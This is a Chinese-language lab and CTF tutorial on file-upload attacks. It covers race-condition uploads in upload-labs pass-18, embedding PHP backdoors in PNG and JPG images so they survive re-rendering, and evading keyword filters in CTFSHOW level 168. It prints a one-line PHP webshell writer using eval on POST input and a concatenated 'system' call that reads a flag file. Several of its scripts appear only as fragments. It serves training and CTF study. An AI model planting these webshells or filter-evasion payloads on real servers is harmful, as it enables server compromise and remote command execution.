WEB攻防-通用漏洞-文件上传之二次渲染、变异免杀、日志包含
条件竞争
文件上传的条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此如果处理不当或相关逻辑顺序设计不合理的时候,就会导致此类问题的发生,如果我们采用大量的并发请求,就传递一个生成恶意webshell的图像,访问它就可以生成webshell,在上传完成喝安全检查完成并删除它的间隙,攻击者通过不断地发起访问请求来访问该文件,该文件就会被执行,并在服务器上生成一个恶意地webshell
我们接下来以一道upload-labs
的pass-18来展示条件竞争的手法
我们首先上传一个PHP文件,看看我们的目录中有没有出现PHP,我们发现根本上传不上去,查看对应的源码
我们可以知道我们在上传的一瞬间,只要检测到了是PHP文件,我们的后端就会删除这个文件并且返回文件类型错误,我们这个时候就可以使用条件竞争来进行绕过
我们首先将上传进去的木马换成如下
$f=fopen("shell.php","w"); fputs($f,'<?php @eval($_POST[cmd]);?>'); |
即让每次上传都试着创建一个新的后门木马,进而形成条件竞争,我们设置无限重放,如下所示
然后我们将线程调大一点,如下所示
同时,我们创建一个python脚本,让其一直去访问shell.php,如下所示
import requests |
值得注意的是,我们需要先运行python脚本再运行burp,否则会出现一些逻辑问题
经过一段时间后,我们可以发现相关php文件已经被写入进去
二次渲染
原理
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸)等,服务器会把里面的内容进行替换更新,处理完成之后,根据我们原有的图片生成一个新的图片并放到网站下的标签进行显示,这样处理后,如果我们的一句话木马插入非常随意的话,就容易被服务器进行修改,进而改变我们的后门代码,导致无法利用后门
PNG二次渲染
接下来就用大佬的代码来进行演示,对于png图片,我们可以进行如下操作
|
我们直接运行这个脚本,如下所示
成功在当前目录下生成2.png,我们尝试用二进制编辑器打开,如下所示
确实存在后门代码,之后我们直接进行上传即可
上传成功,我们直接进行命令执行,得到结果如下
说明我们成功拿到后门
JPG二次渲染
代码如下
|
同样我们保存为php文件,然后使用命令行运行,如下所示
我们用二进制文件打开,如下所示
我们可以看到确实插进去了一个phpinfo();
变异免杀
当系统限制我们上传带有后门的php文件的时候,即会对我们的文件的内容的关键词进行检测,比如过滤system、eval
等,这个时候我们利用拼接重组进行绕过即可,这样的过程就叫做后门的变异免杀,我们以CTFSHOW的168关为例子进行演示,这题过滤system
,我们直接进行如下构造
payload:$a='syste';$b='m';$c=$a.$b;$c('tac ../flagaa.php'); |
这就是我们最简单的变异免杀,同时这也是需要我们自己去尝试才能知道如何进行变异最好